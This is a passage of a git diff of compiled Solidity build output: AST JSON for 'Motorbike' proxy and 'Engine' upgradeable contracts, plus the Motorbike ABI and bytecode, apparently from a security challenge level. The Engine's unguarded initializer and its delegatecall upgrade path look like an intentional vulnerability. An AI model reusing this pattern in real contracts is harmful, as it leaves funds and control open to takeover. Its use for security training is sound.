ity":"mutable","name":"r","nodeType":"VariableDeclaration","overrides":null,"scope":1170,"src":"1818:21:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1107_storage_ptr","typeString":"struct Motorbike.AddressSlot"},"typeName":{"contractScope":null,"id":1165,"name":"AddressSlot","nodeType":"UserDefinedTypeName","referencedDeclaration":1107,"src":"1818:11:8","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1107_storage_ptr","typeString":"struct Motorbike.AddressSlot"}},"value":null,"visibility":"internal"}],"src":"1817:23:8"},"scope":1171,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1171],"name":"Motorbike","scope":1282},{"id":1281,"nodeType":"ContractDefinition","src":"1908:1734:8","nodes":[{"id":1176,"nodeType":"VariableDeclaration","src":"2020:115:8","nodes":[],"constant":true,"mutability":"constant","name":"_IMPLEMENTATION_SLOT","overrides":null,"scope":1281,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1174,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2020:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"argumentTypes":null,"hexValue":"307833363038393461313362613161333231303636376338323834393264623938646361336532303736636333373335613932306133636135303564333832626263","id":1175,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2069:66:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_24440054405305269366569402256811496959409073762505157381672968839269610695612_by_1","typeString":"int_const 2444...(69 digits omitted)...5612"},"value":"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"},"visibility":"internal"},{"id":1178,"nodeType":"VariableDeclaration","src":"2142:23:8","nodes":[],"constant":false,"functionSelector":"af269745","mutability":"mutable","name":"upgrader","overrides":null,"scope":1281,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1177,"name":"address","nodeType":"ElementaryTypeName","src":"2142:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"public"},{"id":1180,"nodeType":"VariableDeclaration","src":"2171:25:8","nodes":[],"constant":false,"functionSelector":"564f6d71","mutability":"mutable","name":"horsePower","overrides":null,"scope":1281,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1179,"name":"uint256","nodeType":"ElementaryTypeName","src":"2171:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"public"},{"id":1183,"nodeType":"StructDefinition","src":"2203:49:8","nodes":[],"canonicalName":"Engine.AddressSlot","members":[{"constant":false,"id":1182,"mutability":"mutable","name":"value","nodeType":"VariableDeclaration","overrides":null,"scope":1183,"src":"2232:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1181,"name":"address","nodeType":"ElementaryTypeName","src":"2232:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"name":"AddressSlot","scope":1281,"visibility":"public"},{"id":1198,"nodeType":"FunctionDefinition","src":"2258:108:8","nodes":[],"body":{"id":1197,"nodeType":"Block","src":"2301:65:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1190,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":1188,"name":"horsePower","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1180,"src":"2311:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"hexValue":"31303030","id":1189,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2324:4:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_1000_by_1","typeString":"int_const 1000"},"value":"1000"},"src":"2311:17:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1191,"nodeType":"ExpressionStatement","src":"2311:17:8"},{"expression":{"argumentTypes":null,"id":1195,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":1192,"name":"upgrader","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1178,"src":"2338:8:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1193,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2349:3:8","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1194,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"2349:10:8","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"2338:21:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1196,"nodeType":"ExpressionStatement","src":"2338:21:8"}]},"documentation":null,"functionSelector":"8129fc1c","implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":1186,"modifierName":{"argumentTypes":null,"id":1185,"name":"initializer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":513,"src":"2289:11:8","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"2289:11:8"}],"name":"initialize","overrides":null,"parameters":{"id":1184,"nodeType":"ParameterList","parameters":[],"src":"2277:2:8"},"returnParameters":{"id":1187,"nodeType":"ParameterList","parameters":[],"src":"2301:0:8"},"scope":1281,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":1214,"nodeType":"FunctionDefinition","src":"2488:177:8","nodes":[],"body":{"id":1213,"nodeType":"Block","src":"2577:88:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":1205,"name":"_authorizeUpgrade","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1226,"src":"2587:17:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$__$","typeString":"function () view"}},"id":1206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2587:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1207,"nodeType":"ExpressionStatement","src":"2587:19:8"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1209,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1200,"src":"2634:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":1210,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1202,"src":"2653:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":1208,"name":"_upgradeToAndCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1256,"src":"2616:17:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory)"}},"id":1211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2616:42:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1212,"nodeType":"ExpressionStatement","src":"2616:42:8"}]},"documentation":null,"functionSelector":"4f1ef286","implemented":true,"kind":"function","modifiers":[],"name":"upgradeToAndCall","overrides":null,"parameters":{"id":1203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1200,"mutability":"mutable","name":"newImplementation","nodeType":"VariableDeclaration","overrides":null,"scope":1214,"src":"2514:25:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1199,"name":"address","nodeType":"ElementaryTypeName","src":"2514:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":1202,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":1214,"src":"2541:17:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":1201,"name":"bytes","nodeType":"ElementaryTypeName","src":"2541:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"2513:46:8"},"returnParameters":{"id":1204,"nodeType":"ParameterList","parameters":[],"src":"2577:0:8"},"scope":1281,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":1226,"nodeType":"FunctionDefinition","src":"2704:108:8","nodes":[],"body":{"id":1225,"nodeType":"Block","src":"2747:65:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":1221,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1218,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2765:3:8","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1219,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"2765:10:8","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"id":1220,"name":"upgrader","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1178,"src":"2779:8:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2765:22:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"43616e27742075706772616465","id":1222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2789:15:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_3f30eb9aefe8ce0afb8fba17fc2865b412812f44431b4ee4d4d76be99ad54da4","typeString":"literal_string \"Can't upgrade\""},"value":"Can't upgrade"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3f30eb9aefe8ce0afb8fba17fc2865b412812f44431b4ee4d4d76be99ad54da4","typeString":"literal_string \"Can't upgrade\""}],"id":1217,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2757:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2757:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1224,"nodeType":"ExpressionStatement","src":"2757:48:8"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_authorizeUpgrade","overrides":null,"parameters":{"id":1215,"nodeType":"ParameterList","parameters":[],"src":"2730:2:8"},"returnParameters":{"id":1216,"nodeType":"ParameterList","parameters":[],"src":"2747:0:8"},"scope":1281,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":1256,"nodeType":"FunctionDefinition","src":"2922:332:8","nodes":[],"body":{"id":1255,"nodeType":"Block","src":"3004:250:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1234,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1228,"src":"3075:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":1233,"name":"_setImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1280,"src":"3056:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":1235,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3056:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1236,"nodeType":"ExpressionStatement","src":"3056:37:8"},{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1240,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1237,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1230,"src":"3107:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":1238,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"length","nodeType":"MemberAccess","referencedDeclaration":null,"src":"3107:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":1239,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3121:1:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3107:15:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":1254,"nodeType":"IfStatement","src":"3103:145:8","trueBody":{"id":1253,"nodeType":"Block","src":"3124:124:8","statements":[{"assignments":[1242,null],"declarations":[{"constant":false,"id":1242,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":1253,"src":"3139:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1241,"name":"bool","nodeType":"ElementaryTypeName","src":"3139:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},null],"id":1247,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1245,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1230,"src":"3187:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":1243,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1228,"src":"3156:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1244,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"delegatecall","nodeType":"MemberAccess","referencedDeclaration":null,"src":"3156:30:8","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":1246,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3156:36:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"3138:54:8"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1249,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1242,"src":"3214:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"43616c6c206661696c6564","id":1250,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3223:13:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b","typeString":"literal_string \"Call failed\""},"value":"Call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b","typeString":"literal_string \"Call failed\""}],"id":1248,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3206:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3206:31:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1252,"nodeType":"ExpressionStatement","src":"3206:31:8"}]}}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_upgradeToAndCall","overrides":null,"parameters":{"id":1231,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1228,"mutability":"mutable","name":"newImplementation","nodeType":"VariableDeclaration","overrides":null,"scope":1256,"src":"2949:25:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1227,"name":"address","nodeType":"ElementaryTypeName","src":"2949:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":1230,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":1256,"src":"2976:17:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":1229,"name":"bytes","nodeType":"ElementaryTypeName","src":"2976:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"2948:46:8"},"returnParameters":{"id":1232,"nodeType":"ParameterList","parameters":[],"src":"3004:0:8"},"scope":1281,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":1280,"nodeType":"FunctionDefinition","src":"3324:316:8","nodes":[],"body":{"id":1279,"nodeType":"Block","src":"3387:253:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1264,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1258,"src":"3424:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":1262,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"3405:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":1263,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":550,"src":"3405:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":1265,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3405:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374","id":1266,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3444:47:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""},"value":"ERC1967: new implementation is not a contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""}],"id":1261,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3397:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1267,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3397:95:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1268,"nodeType":"ExpressionStatement","src":"3397:95:8"},{"assignments":[1270],"declarations":[{"constant":false,"id":1270,"mutability":"mutable","name":"r","nodeType":"VariableDeclaration","overrides":null,"scope":1279,"src":"3503:21:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1183_storage_ptr","typeString":"struct Engine.AddressSlot"},"typeName":{"contractScope":null,"id":1269,"name":"AddressSlot","nodeType":"UserDefinedTypeName","referencedDeclaration":1183,"src":"3503:11:8","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1183_storage_ptr","typeString":"struct Engine.AddressSlot"}},"value":null,"visibility":"internal"}],"id":1271,"initialValue":null,"nodeType":"VariableDeclarationStatement","src":"3503:21:8"},{"AST":{"nodeType":"YulBlock","src":"3543:54:8","statements":[{"nodeType":"YulAssignment","src":"3557:30:8","value":{"name":"_IMPLEMENTATION_SLOT","nodeType":"YulIdentifier","src":"3567:20:8"},"variableNames":[{"name":"r_slot","nodeType":"YulIdentifier","src":"3557:6:8"}]}]},"evmVersion":"istanbul","externalReferences":[{"declaration":1176,"isOffset":false,"isSlot":false,"src":"3567:20:8","valueSize":1},{"declaration":1270,"isOffset":false,"isSlot":true,"src":"3557:6:8","valueSize":1}],"id":1272,"nodeType":"InlineAssembly","src":"3534:63:8"},{"expression":{"argumentTypes":null,"id":1277,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1273,"name":"r","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1270,"src":"3606:1:8","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1183_storage_ptr","typeString":"struct Engine.AddressSlot storage pointer"}},"id":1275,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":1182,"src":"3606:7:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":1276,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1258,"src":"3616:17:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3606:27:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1278,"nodeType":"ExpressionStatement","src":"3606:27:8"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_setImplementation","overrides":null,"parameters":{"id":1259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1258,"mutability":"mutable","name":"newImplementation","nodeType":"VariableDeclaration","overrides":null,"scope":1280,"src":"3352:25:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1257,"name":"address","nodeType":"ElementaryTypeName","src":"3352:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"3351:27:8"},"returnParameters":{"id":1260,"nodeType":"ParameterList","parameters":[],"src":"3387:0:8"},"scope":1281,"stateMutability":"nonpayable","virtual":false,"visibility":"private"}],"abstract":false,"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":1172,"name":"Initializable","nodeType":"UserDefinedTypeName","referencedDeclaration":530,"src":"1927:13:8","typeDescriptions":{"typeIdentifier":"t_contract$_Initializable_$530","typeString":"contract Initializable"}},"id":1173,"nodeType":"InheritanceSpecifier","src":"1927:13:8"}],"contractDependencies":[530],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1281,530],"name":"Engine","scope":1282}],"license":"MIT"},"id":8} \ No newline at end of file diff --git a/contracts/out/Motorbike.sol/Motorbike.json b/contracts/out/Motorbike.sol/Motorbike.json new file mode 100644 index 000000000..e50f55273 --- /dev/null +++ b/contracts/out/Motorbike.sol/Motorbike.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_logic","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"fallback","stateMutability":"payable"}],"bytecode":{"object":"0x608060405234801561001057600080fd5b506040516102c13803806102c18339818101604052602081101561003357600080fd5b5051610049816101d1602090811b61007017901c565b6100845760405162461bcd60e51b815260040180806020018281038252602d815260200180610294602d913960400191505060405180910390fd5b806100ae7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101d7565b80546001600160a01b039283166001600160a01b031990911617905560408051600481526024810182526020810180516001600160e01b031663204a7f0760e21b1781529151815160009486169382918083835b602083106101215780518252601f199092019160209182019101610102565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610181576040519150601f19603f3d011682016040523d82523d6000602084013e610186565b606091505b50509050806101ca576040805162461bcd60e51b815260206004820152600b60248201526a10d85b1b0819985a5b195960aa1b604482015290519081900360640190fd5b50506101da565b3b151590565b90565b60ac806101e86000396000f3fe60806040526048602d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc604a565b5473ffffffffffffffffffffffffffffffffffffffff16604d565b005b90565b3660008037600080366000845af43d6000803e808015606b573d6000f35b3d6000fd5b3b15159056fea2646970667358221220b0817095303c4d87a0b82073e0b2eb7f537bea3dc2aeb663a0e8d912b7b390b064736f6c634300060c0033455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374","sourceMap":"173:1733:8:-:0;;;543:327;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;543:327:8;596:26;543:327;596:18;543:327;596:18;;;;;:26;;:::i;:::-;588:84;;;;-1:-1:-1;;;588:84:8;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;728:6;682:37;320:66;682:15;:37::i;:::-;:52;;-1:-1:-1;682:52:8;-1:-1:-1;682:52:8;;;;;;782:39;;;;;;;;;;;;;;;;-1:-1:-1;;782:39:8;;;;;;762:60;;;;-1:-1:-1;;762:19:8;;;:60;;;;782:39;762:60;;;;;;;;;;-1:-1:-1;;762:60:8;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;744:78;;;840:7;832:31;;;;;-1:-1:-1;832:31:8;;;;;;;;;;;;-1:-1:-1;832:31:8;;;;;;;;;;;;;;;543:327;;173:1733;;726:413:3;1086:20;1124:8;;;726:413::o;1756:148:8:-;1884:4;1860:38::o;173:1733::-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526048602d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc604a565b5473ffffffffffffffffffffffffffffffffffffffff16604d565b005b90565b3660008037600080366000845af43d6000803e808015606b573d6000f35b3d6000fd5b3b15159056fea2646970667358221220b0817095303c4d87a0b82073e0b2eb7f537bea3dc2aeb663a0e8d912b7b390b064736f6c634300060c0033","sourceMap":"173:1733:8:-:0;;;1618:54;1628:37;320:66;1628:15;:37::i;:::-;:43;;;1618:9;:54::i;:::-;173:1733;1756:148;1884:4;1860:38::o;931:466::-;1099:14;1096:1;1093;1080:34;1199:1;1196;1180:14;1177:1;1161:14;1154:5;1141:60;1235:16;1232:1;1229;1214:38;1272:6;1291:38;;;;1362:16;1359:1;1352:27;1291:38;1310:16;1307:1;1300:27;726:413:3;1086:20;1124:8;;;726:413::o","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_logic\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Motorbike.sol\"